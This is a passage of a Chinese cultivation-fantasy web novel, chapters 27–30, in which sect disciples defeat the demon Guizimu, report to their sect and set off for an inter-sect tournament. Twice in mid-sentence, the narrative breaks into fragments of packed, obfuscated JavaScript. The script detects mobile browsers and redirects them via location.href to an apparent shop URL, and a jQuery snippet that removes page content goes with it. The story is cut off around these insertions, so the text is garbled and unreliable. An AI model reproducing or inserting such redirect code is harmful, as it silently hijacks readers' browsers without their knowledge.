说话间,“阿翠”已经开始对其他人动手了:“要不是那个姓李的道士运气好,死的早,我必定让他也尝尝这□□折磨的痛苦,不过还好,他死的时候,我刚生出一丝意识,早就动用了大半法力将他的魂魄囚禁在了这宗送子娘娘的神像里,待会你们就一起承受我们的怨恨吧。” 阿翠抬起手,缓缓地走上前。 这时,却听一声声响远远传来:“住手!” 27. 第 27 章 在场所有人皆是一愣,偃建村地处偏远,一年半载都不见得有生人往来,如今这声音实在令人捉摸不透。 尽管听到了这呼喊声,“阿翠”也没有停手,她回过神来便要继续挨个对其他人动手,忽的,一把长刀从天而降,直挺挺的插在“阿翠”面前,以长刀为界,空气中泛起一丝灼热的波纹。 “阿翠”被坏了好事,心上升起一番怒意,转过身瞪向天空,只见黑幕中一丝银光由远及近以极快的速度靠近。 步阙乾眯起双眼,紧紧地盯着那道银光:“我去,这什么东西?” 距离越来越近,所有人都看清了那到底是什么东西——一个体型硕大的男人“砰”的一声砸在地面上,然后轻松地站起身,拍打了一下自己身上的灰尘,而那银色光芒正是那男子的光头,他呵呵”地笑了两声,将手搭在自己的光头上,任谁看都是一副憨厚老实的模样,只有“阿翠”脸色大变,眼前之人功力深厚,自己远非他的对手。 “哎呦。”同时脸色大变的还有步阙乾:“这么大的事我怎么给忘了呢!前几天我们不是发现事情可能和鬼子母有关吗?我怕万一真是她作祟,我们几个都要死在这,就用符咒向宗门求助了,这几天我都把这个事给忘了。” 锦书叹了口气,大师兄怎么能半吊子成这样。 燕临接道:“事情恐怕有些难办了,倘若来的是别人还有些回转的余地,可怎么偏偏是六长老?他为人古板,脾气又不好,看见妖魔一定不会放过的,恐怕阿翠今日也在劫难逃了。” 步阙乾大惊失色道:“都是我的错,要是耽误了她报仇可怎么办?” 六长老固原看向四周,一眼便发现了聚集在角落的锦书众人,当即怒目圆瞪,喝到:“步阙乾你们几个和缩头乌龟一样在那里干什么?派你们过来是干什么吃的?等回去了,我一定向掌门师兄报告,狠狠地教育你们几个小兔崽子!还不快点过去把挂那的一群人都给搞下来,老子来和这个妖怪比划比划。” 步阙乾被他的喝声吓了一跳,只能应道:“是。” 随即,又转过头,焦急地问道:“我们接下来怎么办啊,这样下去,阿翠不但没法报仇,还会灰飞烟灭的。” 锦书脑子一转,开口道:“我有办法!” 同她一道开口的还有陈赋舟,锦书偏过头看了他一眼,便率先开口道:“我记得之前所学阵法中有道束其阵。” 陈赋舟微微一笑:“我同师姐想的一样。” 其余人被两人这样一提醒纷纷露出恍然大悟的表情,束其阵并不算很高深的阵法,只要进入这个阵法,便会被限制在阵法所在区域一小段时间,虽然固原法力高深,但一定会将注意力全都用在“阿翠”身上,趁他不备,集齐几人的法力维持这座法阵直到“阿翠”报仇结束应当还是没有问题的。 “只不过......六长老向来嫉恶如仇,脾气暴躁,我们恐怕回去了可没有好果子吃。”步阙乾和固原接触并不少,想起他一贯的的做派不由得打了一个冷战。 燕临对其也略有耳闻,但想到自己在偃建村所见所感,狠下心肠道:“不管了,要罚就随他罚吧。” 几人快速的商谈了一下方案,正在同“阿翠”缠斗的固原余光瞥见几人还在一旁不知做些什么,不由得怒上心头,喝到:“你们几个干什么呢?我让你们去救人听不见吗?” 锦书几人连忙散开,朝祠堂下聚去。 杨大富虽是还有一口气,但估摸着也是救不回来了,其他几人倒还有点挽回余地,锦书暗暗发誓,决计不能让这几个奸人又被救下来好好过日子。 她心里想得多,手上动作也没闲,绊玉随主人心意化作了一半锐利的小刀,锦书将小刀往空中甩去,绊玉便通人性地利落地将绑着几人的血线统统绞断了,步阙乾赞叹不已,不禁像锦书比了一个大拇指:“小师妹你这法器真不只是徒有虚名!” 绊玉悬在空中,“嗡嗡”地震动了两下,然后“嗖”地一下飞到步阙乾面前,用锋利的泛光的刀刃在他面前晃了两下,以示自己对“徒有虚名”一词的不满,步阙乾乍一下被吓得后退两步。 锦书连忙憋笑喊道:“绊玉!” 眼见绊玉乖巧地回到主人身边,化作一条流光溢彩的手链套在主人的手腕上,步阙乾咂舌道:“脾气还不小呢。” 锦书率先去拽地上的杨大富,可惜杨大富早就肿成了一个球,锦书扯着他的衣服废了好大的劲才勉强拽动了半分。 锦书叹了口气,认命地又扯起杨大富的衣服,这是他却飘了起来,往祠堂角落飞去,剩下几人也有秩序的跟在其后面飘向一角。 锦书吓了一跳:“闹鬼了啊!” 却听见一个带有一丝笑意的声音:“师姐怎么不用灵力?” 陈赋舟慢条斯理地走到她身旁,锦书这才想起来,自己现在已经不是普通人了,还有法术可以用呢,果然还是没有习惯修仙界啊。 陈赋舟蹲下身将长剑横在手指上方就要往下划,锦书吓了一跳,连忙挑开长剑。 她挑了挑眉:“我说了,我要监督你不准用自己的血,这又不是什么很难的法阵。” 陈赋舟怔了怔,看到少女神情认真,也就鬼使神差地听了她的话放下了手里的剑:“那要用什么画?” 锦书环顾四周,走到一旁,把杨大富踢向陈赋舟,他肥壮的身躯“咚咚”地拍打着地面:“诺,这不有个现成的血包吗?” 陈赋舟眉头微蹙,有些嫌弃,但看到锦书督促的眼神,还是沾了沾杨大富身上发紫的血在地上画起了法阵。 锦书抱着肩站到他身前,刻意地挡住了他的身影,省的固原万一在打斗的过程中分神瞧见他们蹲在地上画画起了疑心。 陈赋舟动作很快,没过一会就画完了,他们这边一切都准备就绪了,但固原和“阿翠”正打的如火如荼。 锦书等了好一会,却见二人打得正是胶着,恐怕一时半会谁也没法解决对方。 她盯着地上的阵法有些出神,陈赋舟画完后本想找块帕子擦擦手,想起来自己没带,本准备问问身侧的女孩有没有,却见她皱着眉头,扣着手指,不知道在想些什么。 陈赋舟想起来,这女孩似乎经常发呆,有时候望着某些东西就不由自主的出了神,他一时竟有些好奇她到底在想些什么,便问道:“师姐在想什么呢?” 锦书怔了怔才回过神来,陈赋舟瞧见她脸上的神情从发呆时的迷茫迅速变为兴高采烈,她问道:“喂,陈赋舟,你玩没玩过井字棋啊!” 祠堂院子里正是几幅不同光景,打架的两人打的有来有回,观望的步阙乾三人为接下来的计划忧心忡忡,躺在祠堂外的杨大富同伙为自己接下来的下场惶恐不安,只有锦书和陈赋舟二人在一旁下井字棋下的热火朝天。 “哎呦,又卡住了,再来再来!”锦书两眼弯弯,看着地上的僵局有些许的幸灾乐祸。 陈赋舟被她带动的早已忘却了其他,满眼都是好胜心,他早已明白了这棋子根本下不赢,夸赞道:“师姐太厉害了,我根本赢不了。” 锦书嘿嘿一笑:“没事的,师弟,你只是没玩过而已,不像我玩得多,一回生二回熟,多来几次就好了。” 锦书伸手又去沾杨大富的血,要在地上画“井”字棋盘,刚画了一个横,一旁看完了全程的杨大富同伙中终于有个人再也忍不住,叫道:“你们有完没完啊?眼看他们打成这样,怎么不去帮忙?” 锦书下意识地看向院中,本来按理来说固原比“阿翠”强了不少,应该很轻松就能制伏她才对,但“阿翠”满心都是报仇,被阻难后体内女婴的怨气越来越重,法力也水涨船高,这才有资本与固原纠缠了这么久,不过显而易见地是,此时“阿翠”已经落入下风,恐怕再也支撑不了多久了。 锦书心下暗道不好,连忙喊道:“大师兄还不快去帮忙?” 步阙乾心下也焦急,但仍有些犹豫:“可我是个手无缚鸡之力的丹修啊,进去了万一他俩看不清把我给打死了怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983495|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 燕临也知道这情况不能再等了,于是一把拽起步阙乾向院中奔去:“别怕,大师兄,我会保护你的。” 于是,步阙乾心一横,眼一闭,挣开燕临,自顾自的向前冲去,不顾一切撕心裂肺地喊道:“师叔,我来助你一臂之力了!” 步阙乾两人忽的插入战局,使得场上情况一时间混乱不堪,固原勃然大怒道:“谁叫你过来凑热闹的?要是敢拖老子后腿,看老子回去不告诉掌门师兄弄死你。” 步阙乾只把他的话当耳旁风,他左一下,右一下,一会撞一下固原,一会推一下“阿翠”,功夫不费有心人,终于四个人越打越靠近祠堂外的法阵。 燕临一直在其中浑水摸鱼,眼看几人与阵法的距离拉近,便叫道:“师兄你小心点,别撞到师叔了!”说着,她一个闪身到步阙乾背后,狠狠地推了他一把。 步阙乾本来正插在固原和“阿翠”中间,听到燕临的呼声,便知道大事不妙,这师妹肯定是要坑他了,还好及时做好了心理准备,当感受到一股巨大的推力时,步阙乾顺其自然,放软了身子向固原身上倒去,附带娇弱的一声:“师叔,弟子要摔倒了,快扶人家一下啊!” 固原眼睁睁地看着人高马大的师侄倒向自己,甚至还转过头向自己抛了一个媚眼,不由得一阵胆寒,霎时间,他脑中思绪万千,想到前些时日,自己的师姐托自己带的话本子——《霸道师叔爱上我》、《我与师叔的两三事》,这个师侄不会对自己有什么非分之想吧。 没人能想到嫉恶如仇的师叔这么能脑补,固原此刻心中惊惧万分,说什么也不愿意被步阙乾碰到,于是急忙向后退去。 锦书瞧见他已半只脚踏进法阵,马上就要事成,不由得大喜拍手道:“成了!” 谁知这时又突生变故,固原后撤的另一只脚并没踏进法阵,反而被地上某个巨大的肉团子绊了一跤,酿跄着像锦书三人撞来。 锦书大惊失色,只觉得手腕被人一拉,便也往后闪躲了去,正是陈赋舟眼疾手快抓住了锦书和李行道两人,但常年闭关从未和固原接触过的他显然低估了固原的体型,锦书瞪大眼睛看着他像一座山一般向三人压了过来。 一阵翻山倒海、噼里啪啦,锦书无力地瘫倒在地上,摊开双手大叫道:“杨大富你个害人精!” 四人滚作一团,甚至跌进了祠堂,撞翻了供台,而最瘦小的锦书反而最倒霉地被压在最下面。 陈赋舟趴在锦书上方,用手按在地面上,撑起一小方天地,剩下两个人压在他的身上,陈赋舟和锦书四目相对,咬着牙从牙缝里挤出一句:“师叔?” 少女衣衫凌乱,面色通红,陈赋舟瞧见她锁骨下方一颗小小的红痣点缀在白皙的皮肤上,犹如雪日的一支红梅,他别过脸,连忙又喊道:“师叔你还准备坐多久?” 固原终于站起身,陈赋舟这才喘了口气,慌里慌张地爬起来站向一旁,锦书摔得不轻,她往上卷起裤腿,只见腿上和胳膊上一般出现了青青紫紫的痕迹。 固原正要提起手中大刀奔至院中,与“阿翠”再大战三百回合,却听步阙乾喊道:“小心,那鬼子母的像要倒了。” 他下意识转过头,只见祠堂内,由于他们激烈的碰撞,那座金碧辉煌的庞大的神像正颤颤巍巍地摇晃着,随即便“哄”地一声向后仰倒,只听一声清脆的巨响,这座给偃建村带来无数在灾难的神像就这样滑稽地四分五裂了。 固原挠挠脑袋,他这才想起来步阙乾给他发的求救信号里面提到了有伪神的踪迹,不过适才打得太过火热,完全没想起来先找师侄们问个清楚。 他不甚在意:“你说的伪神就这座神像啊,我还以为多大点事呢?就这也值得你求救?让你们出来历练,不是让你们来当缩头乌龟的,真是丢了咱们玄清宗的脸面,还好这里地处偏远,这事估计传不出去,省的你们被人笑话了。” 他话音未落,另有一道声音出现,打断了他的喋喋不休:“毛头小儿,也敢到本君的地盘撒野?” 28. 第 28 章 一阵黑雾从祠堂内部涌了出来,锦书身体尚还疼痛,却半点也不敢大意,跌跌撞撞地摸索着才爬出了祠堂。 随着黑雾越来越多的涌出,院中的“阿翠”率先尖叫一声,随即颤抖着身子化作了一团水,接着,是刚刚绊倒固原的杨大富,他肥硕臃肿的身体霎时间干瘪了下来,紧接着剩下几人也迅速像被榨干一般化作一架架干尸。 黑雾在空中慢慢凝实,固原虽然莽撞,也感到大事不妙,当即举起大刀,一脚蹬地,凶猛地砍向那团黑雾。 但出乎他意料的是,那把在他手里向来坚韧无比、无坚不摧的法刀就像打在了一个皮球上,对方甚至没费多少功夫就卸了他的力,将他狠狠的弹回地上。 固原重重地砸击在地面上,咳出了一口血,锦书五人已经警惕的聚集在了他身后,都举起了自己的法器来准备应敌。 黑雾中传来了不屑的笑声,一只脚踏出黑雾,站在众人面前,正是“鬼子母”神像模样。 燕临咬牙问道:“你把那群人怎样了?” 鬼子母玩味地打量了一下她:“不过是本君的肥料罢了,能化作本君的一部分,是他们的荣幸。你这小姑娘长得倒是清丽,可惜最后也只能落得他们一般的下场。” 燕临眼眶泛红,她知道鬼子母的话意味着那群人包括偃建村所有的冤魂全都灰飞烟灭了。 固原坐在地上狠狠地喘了两口气道:“你是鬼子母残缺的神识吧?当年是怎么从各个宗门的围剿中溜走的。” 鬼子母轻蔑道:“你是什么身份,还敢来质问本座?可惜本座当年虽然仅有一丝神识逃脱,但这么多年在偃建村的滋养下已经恢复了不少灵力,今日再吞噬了你们几个修仙之人,恐怕实力就能恢复大半了,哈哈哈哈,不知天下人有没有对本座的卷土重来做好准备啊。” 步阙乾掷地有声道:“你少百日做梦了,你知道站在我们面前的是谁吗,这可是天下第一门派天玄宗的七长老,此番必叫你有来无回!”说着,他用膝盖抵了抵尚坐在地上的固原:“师叔,你快起来给祂点威风看看。” 固原站起身,退后两步,压低声音道:“我打不过祂,咱们待会就各自逃命吧。” 从“阿翠”开大开始,周遭围观的人群基本上已经都散开了,都急忙回家收拾行囊要离开这座祖祖辈辈生活的村庄,所以几人确实可以放心逃跑,不用担心鬼子母会伤害到无辜百姓。 步阙乾刚才神气地吹了一大通牛逼,当然不是为了赶鸭子上架,他是以为固原有实力打败鬼子母啊。 听到固原这番话,不由得面如土色,问道:“师叔,你打不过那我们怎么办啊?话本子里面都说没有剑修打不过的人啊!” 固原暴跳如雷:“你个小兔崽子,那是话本子,更何况,老子又不是剑修,老子是耍大刀,你眼瞎了么,这是大刀!” 不等固原继续骂步阙乾,一阵寒风忽的扑面而来,带着一股无与伦比的寒气,冻得众人牙齿打抖。 “话这么多真是吵死本座了,你们几个还是老老实实做本座的养分吧,别再妄想挣扎了。” 黑云在空中翻滚,这座山已经空了大半,谁都知道这里恐怕一场大战在所难免。 李行道抄起手中的重剑,从众人中直直地奔向鬼子母,朗声道:“师兄师姐,反正也要打一场,现在就动手吧!” 步阙乾惊呼一声:“师弟,平日里也没见你这么莽啊!” 剩下几人眼见李行道率先出动,便也纷纷举起法器冲了过去。 燕临抄起手里的琵琶,高高举起砸向鬼子母的脑袋,“砰”地一声,鬼子母显然也没想到这乐修居然比体修还暴力,一时轻敌并未闪躲,霎时被砸了个头晕目眩。 燕临有些骄傲:“谁叫你不躲开的,我这可是玄铁琵琶,特地刷了一层漆就为了掩人耳目,当别人以为这是木制的时候,我就已经赢了大半。” 但令她出乎意料的是,尽管鬼子母受了这措不及防的一击。却迅速恢复了过来,一把掐住她的脖子,重重地将其砸向远方。 鬼子母慈爱的面孔上露出一副诡异的笑容令在场所有人都不寒而栗:“就凭你们几个也想和我斗?” 固原一刀劈向鬼子母的脖颈,锦书和李行道两人分别从侧面夹击,而陈赋舟则攻向祂的下盘,但鬼子母在这密不透风的包围中却奇异的消失了。 燕临刚被步阙乾接住,看清场上局势喊道:“师叔,祂在你背后!” 固原身经百战,闻言也快速闪身,陈赋舟道:“祂没有实体,我们所看到的都是黑雾凝成的!” 李行道距离祂最近,握着天倦剑便刺向鬼子母左臂,鬼子母不紧不慢,直到剑锋离祂不过一寸,抬指便夹住了剑锋,轻轻一捏,往回一扯,便带动李行道朝着祂的方向倒去,李行道双脚抵住地面来抵抗强大的吸力,却发觉自己不管怎么用力都拽不动鬼子母手中的天倦剑,就犹如陷入泥潭一般被牢牢抓住。 锦书手中绊玉也笔直地刺向鬼子母腰间,然而却像戳中了一块世界上最坚硬的岩石一般。 陈赋舟所用之剑,名唤有匪,也是一把大有来头的名剑,此刻,长剑抖动,急速扎向鬼子母肩头,但却如同重重的锤击了一颗弹簧,反而将自己弹飞了出去,甚至震破了虎口。 鬼子母得意地大笑了起来:“三把不错的灵器,可惜,在你们手中就如同废铜烂铁,等本座杀了你们,再炼化这三把灵器成一柄真正的神器。” 锦书轻轻咳嗽了两声,笑道:“真的吗?你再看看呢?” 鬼子母感到腰间一紧,低头一看,那少女的剑居然变作了一根绸带紧紧地缠住了自己的腰,祂冷哼一声:“黄毛小儿,不会以为这雕虫小技能伤到本座吧。”说话间,祂从腰间开始便如之前那般化作一团黑雾。 谁料,祂却感到,左手紧紧黏在了天倦的剑锋上,甚至半边躯体都开始慢慢变淡。 锦书心中嘲笑,凭你再厉害,能比得过开手指的龙傲天?男频小说里面怎么可能有主人公打不过的BOSS,如果有,那一定是时候未到。 天倦剑好歹是龙傲天最粗的一根金手指,怎么可能和外表一样看似普通,在原著里它神挡杀神正是因为它具有无视等级的斩断和吞噬两项能力,而此时施展的正是吞噬。 鬼子母正是由于轻敌所以一时间竟被天倦剑吞噬了大半灵力,祂迅速斩断了与左侧身子的联系,右侧身子化作黑雾散开又凝实成了一个完整的身体,祂满脸怒容,破口大骂道:“你们这群人竟然敢吞噬掉我苦苦修炼了这么多年的灵力,我势必不会放过你们的。” 陈赋舟从地上飞起,又刺向祂,冷冷道:“少装模作样了,有本事先打过我们几个。” 剩余几人也纷纷气势汹汹地攻向祂,鬼子母不断化作黑雾闪过众人,尤其是李行道的攻击。 几人打得正激烈,只有步阙乾夹在众人之间拖走之前被鬼子母打成重伤的固原,往他嘴里塞了几颗治疗的丹药,面露心疼道:“师叔,这些丹药你之后可别忘了给我钱啊!” 固原怒道:“你这吝啬鬼,瞧你师妹师弟们在前面战斗,你倒好意思在我这耍嘴皮子,我回去一定要. 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固原抓住了他话里的重点,想起刚才两个师侄一直把自己往那个方向推不由得什么都明白了,庞然大怒道:“原来这法阵是给老子准备的啊,你们几个小兔崽子真是欠收拾了,吓得老子还以为你要和我整什么师叔侄禁忌之恋呢!” 步阙乾被固原脱口而出的后半句,吓得不轻,看着刚猛的师叔反光的脑袋,心中大悚,结结巴巴地说不出话,只能挪动自己的脚步往固原远处靠。 步阙乾:“师叔你可不要对我有非分之想,我喜欢的是女的!” 锦书手中的绊玉再次化作手链,她双手叉腰笑盈盈地站在鬼子母面前,微笑道:“确实困不住你多长时间,不过天倦剑完全把你吞噬了应该也用不了多久吧。” 鬼子母终于面色大变,又惊又惧道:“你们竟敢用这种龌龊手段!” 锦书摊开双手摇摇头道:“喂,这不是你这个反派的台词吧!” 鬼子母嗓音撕裂:“本座一定会回来的,本座绝不会放过你们!” 锦书伸手指向祂:“师弟,快去速速消灭这个妖孽!” 李行道无奈地看了一眼笑容狂妄的师姐,乖巧地掂着天倦逼近鬼子母。 锦书笑的猖狂,原来斩妖除魔居然是这么爽的感觉。 “师姐怎么知道李行道的剑能对付鬼子母。”一声疑问打断了她的得意洋洋,锦书转过身,只见陈赋舟弯下腰用那双眸子沉沉地盯着自己,面露疑惑。 她心中一毛,糟了,刚才情况危急,她心中传音告诉这两人天倦有吞噬之能完全忘了之后应该怎么告诉他们自己为什么知道了,李行道也是在原著剧情过了大半才知道自己的剑有这番威力的,自己却比剑主人还提前说出了灵器的特性,这无论怎么看都很不合常理啊。 少年神色认真而专注:“难道是他告诉你的?不过刚刚他怎么没想起来,反而是你反应这么快?况且,我见小师姐和他似乎也没有很熟,你们俩来的路上也没怎么交流过。” 锦书脑中急速飞转,刚才一切都发展的太过迅速,李行道虽然不知道自己的剑有这般威力,却也别无他法的直接相信了自己,没想到陈赋舟这么聪明,居然发现了其中奇异之处。 反正现在李行道忙着那边的事,没困来拆穿自己,锦书心中给自己打气,干脆胡说道:“当然是他之前告诉我的,其实我们俩关系挺好的,不说话是因为他比较腼腆,在不熟的师兄师姐不好意思讲话。” 这理由差点没说服锦书自己,她说罢有些紧张地抬眼看着陈赋舟,却见他只是抿了抿唇,说了声:“原来如此。” 29. 第 29 章 偃建村的事总算告一段落。 步阙乾叹息道:“明明没几天,我怎么感觉过了这么久,我人都憔悴了不少。” 锦书拍了拍他的肩膀,道:“那去吃顿好的奖励一下自己?” 步阙乾笑弯了眼:“懂我者,小师妹也。” 两人叽里咕噜地凑在一起讨论玄清宗山下有什么好吃的,说道激动之处只觉得口中增香。 固原走在两人前方没好气道:“哼,说到吃就这么积极,一遇到事就什么都不行了,离仙门大比都没几天了,就你们这幅精神面貌,到时候去了被青云宗的剑修打得落荒而逃就老实了。” 步阙乾笑声猥琐:“嘿嘿,师叔你这就不知道了吧。我这种极品丹修在剑修里面和香饽饽没什么区别,他们和谁打都舍不得动我一下的,只要我把丹药打折销售,这群穷光蛋剑修就会把我当神一样供起来的。还是让师妹师弟们做好丢脸的准备吧。” 锦书也笑着回击道:“那到时候我就把师兄你拽过来当肉盾,反正你一看就皮糙肉厚。” 众人此刻正走在回天玄宗的山路上,锦书本想偷偷溜回自己屋里,但固原却说宗门里的几个长老关于仙门大比一事有什么重要的安排,非让众人和他一起去掌门所居的玄清殿见过众长老。 步阙乾生怕又说些什么不该说的之后,固原又去他师尊哪里告状,于是便警惕地闭上了嘴,不敢多说。 锦书也低着头开始发呆,《剑神纪》这书她看的时候太早,有很多剧情都不太能记清了,不过仙门大比是一个很重要的情节,这事她当然不会忘记。 锦书叹了口气,到底谁会记得这种二流小说的清晰细节啊,但此刻她一人身处人生地不熟的世界,只有这本小说才能作为她的依靠,想不出来也得想,说不定忽的想到的细节能成为一道保命符呢。 仙门大比与时俱进,采用的是积分制,来自不同宗门的修士会被随机投放到一处小世界的不同位置,这处小世界是当初仙魔大战时从原世界中分裂出来的,自从发现了小世界后,各大宗门、家族便一起约定,每隔三年让不超过二十岁的新秀进入小世界历练。 小世界由各大宗门世家一起守护,只有仙门大比时才会开启,因此虽然它是从众人的所居的世界分裂出来的,但灵气却充沛的多,其间更是有许多等级高深的仙草、灵兽,所以无数修士都想进去获取一份属于自己的机缘 修士在小世界中可以凭借自己的武力、智力想尽一切办法获取机缘,在脱离小世界后,由各大宗门世家中派出的长老组成的裁判团进行评估,不同的机缘有不同的积分,最后按照积分进行排名,排名前三的又另外会得到一份奖励。 《剑神纪》里面写到,由于纪锦书被罚禁闭,少了在偃建村的历练,本就性格孤僻的李行道既与宗门的人不熟,也并未结识到志同道合的好友,在男主光环的加持下,他一个人就找到了不少仙草,甚至拿到了传说中的功法秘籍,最后以断层优势胜出。 锦书在心中咂舌,不愧是龙傲天,看来这仙门大比,自己恐怕也不会有什么很好的机缘了,不过肯定还是争取要拿个好名次的。 几人终于到达了天玄宫,此地位于几座山峰最中央也最高的那一座,锦书环视四周,只见云海辽阔,天地万物仿佛都纳入眼中,情不自禁地深吸了两口气,清新的灵气入体令人感到十分的身心通畅。 几人跟在固原身后进了天玄宫,天玄宫虽为几宫之首,装饰的却很朴实无华,大殿之中,几名长老各居各位,固原也坐了过去,锦书从燕临身后探出头,只见自己家的玄清真人正在一蒲团上闭目静心打坐,而他身侧也是殿中央的蒲团上则坐着一个看上去极为普通的老人,老人捏着自己的长胡子,颇为慈爱的打量着众人。 步阙乾躬身老老实实地喊道:“师尊。” 锦书忙跟着几人也躬下身喊道:“掌门。” 老人笑眯眯道应道:“大家都不用多礼。偃建村的事你们处理的很好,几位长老都很满意。” 坐在一旁的七长老固原没好气道:“谁说都满意了,这几个小兔崽子简直是肆意妄为,无视门规!掌门师兄茶,你可要好好处罚他们,不然将来这几个一定会变成混世魔王。” 步阙乾不服气道::“七长老还好意思说我们呢!明明是我们向你求助,最后却变成我们救你。” 固原脸涨得通红,正准备呵斥他,怀山真人却先拍手笑道:“师弟,你也该改改你那个动不动就发火的臭毛病了,你一生气脸就变红,整个头都红通通的,和山下小李酒楼秘制的狂椒卤蛋没什么区别。” 锦书被逗得只想笑,却又怕待会被看见了引火上身,可想憋住又实在太难,两只肩膀笑得直打抖,燕临感到身后的频繁抖动,转过头小声道:“小师妹你想笑就笑吧,咱们天玄宗这群长老不天天都这样吗,没一个正经的,要是天天像你这样憋,到时候灵气在体内堵塞,憋出毛病了才是因小失大呢。” 锦书诧异地问道:“长老们每天都这样吗?” 燕临回道:“对啊,反正现在天下太平,偶尔出点什么事也都是些翻不起风浪的妖怪,随随便便都能摆平,长老们天天闲的没事干就坐着耍嘴皮子,不过马上就要仙门大比了,长老们有新热闹可以看了,不过别怪我没提醒你们三个啊,到时候要是表现不好,以长老们的碎嘴程度可是会抓着这事说三年的哈。” 锦书心中隐约感到几分不对,都说乱世出英雄,倘若修仙界如此太平,那李行道以后变强了打谁去啊,按理来说,男频小说不都是有个最终大BOSS等待被男主消灭吗? 虽然她心中疑惑不解,但却总是想不起来小说的大结局到底是什么,似乎从仙门大比之后所有的记忆都像被抹除了一般,不管怎么用力的回想,脑子里都只有空白一片。 两人说话间,固原已经被怀山真人挑逗的暴跳如雷,正要发作,掌门抬了抬手示意固原平静下来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998032|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“孩子们,偃建村的事我知道你们是想帮那些冤魂报仇,但以后再遇到这类事情一定要提前同长辈们商量知道吗?你们七师叔虽然脾气不好,却也并非你们所误以为的那般不通情达理之人。” “虽然很可惜,那些冤魂被鬼子母所吞噬已经没有挽回的余地了,但是从最开始她们就没准备给自己留活路,所以在你们去村子前就给那杨大富几人下了弑魂咒,虽然杨大富他们也被鬼子母所吞噬,但是噬魂咒威力巨大,又极其邪门,他们的魂魄在其作用下尽管被吞噬却仍能保持完整,并永远遭受锥心刺骨的折磨,永世不得超生。” 掌门真人耐心地对几个小辈解释道:“偃建村的惨剧我们天玄宗责任重大,以后一定会引以为戒,宗门内的长老们也再商量如何避免以后这类事情的发生了。偃建村剩下的那些无辜村民,宗门已经派出了弟子去帮助他们在繁华一点的城市重新搭房生活了。你们也不必过于愧疚没能帮到那些孩子,月无阴晴圆缺,世上的事不可能事事都圆满。” 锦书瞥见燕临表情慢慢温和了下来,她知道大师姐一路上都在想这些事,所以一直在尝试逗她开心,尽管燕临为了不让几人担忧,面上并没有流露什么,但锦书还是对她的状态有些担忧,如今看她放松下来自己也松了口气。 老头又捋了捋自己的长胡子,故作玄虚道:“你们几个知道过段时日有个很重要的事吧。” 步阙乾回道:“师尊您就别卖关子了,不就是仙门大比吗,小师妹他们又不是傻子,这三年一次的盛典谁人不晓啊?” 老头哈哈一笑:“不错,就是仙门大比,不过虽然你和你燕临师妹已经去过一次了,但这不是还有三个第一次去的吗?你们俩这次就不用走流程了,但他们三个还要先去青云宗报名呢。更何况啊,我听说今年那边几个宗门可出了好几个天才呢,不知道咱们今年还能不能取到好名次,我可不想被那几个臭老头嘲笑啊。” “所以我与几个长老商量了一下,决定在这段时间里,给纪锦书你们三人来一个特训,至于你和燕临过几天就先去川浮城吧。” 锦书心神一动,川浮城,好熟悉的名字。她本来是想不起来的,却看见前面的步阙乾脸色青一阵紫一阵,果然恍然大悟道:“喂,师兄,那不是你那个相好呆的地方吗?”其余几人有些疑惑地看向两人,锦书嘿嘿两声道:“放心吧,大师兄,我不会说出去的。” 掌门没发现下方弟子的骚动,语重心长地说道:“今年的仙门大会是御兽谷操办,所以地点自然就定在川浮城,不过报名还在青云宗,这群老家伙真是不懂变通,来回跑多累人啊。” “好了,我也不同你们几个多说了,你们各自跟着各自师尊回去吧,这一个月切记好好准备,小世界里机缘无限,不仅是仙草灵兽,你们不知道的好处多了去了。一个修士一生也就这两次机会能进去得到机缘,哪怕是我们这些修为高深的都不被允许再次前往,你们一定要把握好这次机会啊。” 30. 第 30 章 天气日渐凉爽了起来,万里无云,一片爽朗。 锦书坐在绊玉上打了个喷嚏:“完了,我感觉我要得风寒了。都怪师尊他们居然连日子都能记错,不然我们也不必因为马上要迟到了跑这么快!” 陈赋舟脚踩有匪剑,高高束起的马尾和长袖被风拍打出“哗哗”声响,他转过头看了一眼锦书,有些无奈道:“师姐不是在躺着吗?” 锦书扬唇笑道:“还好我们家绊玉这么厉害,想变成什么样就变成什么样。我这跟坐在一个大盆里一样,舒服死了。” 三人此刻正在空中高速飞行,当然陈赋舟和李行道是老老实实地御剑,锦书刚一出天玄宗境界马上就让绊玉变了个样子。 一个月的魔鬼训练让锦书和绊玉之间的默契度大大提高了,现在只要她心意一动,绊玉就会自然而然地跟上主人的节奏。 锦书看了一眼手里略微有些潦草的地图,又探出头向下张望了好一会,皱眉道:“不对啊,按照掌门给的地图,咱们应该已经可以看见青云宗的山头了才对,怎么周围还是平原呢?而且我怎么感觉我们已经来过这个地方好几次了?” 陈赋舟闻言也低下头,入眼是一片辽阔的平原,即使站在高空,无边无际的青色仍旧一眼望不到头,平原之上有片开的正旺盛的桃花林,芳草鲜美,落英缤纷,任谁都想要驻足观赏一番。 但他却微微皱眉道:“现在应该不是桃花开花的季节吧。” 李行道应道:“桃花大多开于四月。” 锦书想了想,不知修仙界的植物是否和现代都一样,于是便问道:“世界之大,无奇不有,说不定是咱们没见过的种类?” 陈赋舟道:“我们好像不止一次路过这里了。” 李行道御剑下行道:“那我们还是先下去看看有没有什么异样吧。” 三人稳稳降在桃花林前,锦书看着漫山遍野的粉色海洋感慨道:“真是忽逢桃花林。” 李行道警惕地打量了一下四周:“好像并没有什么不妥之处啊。” 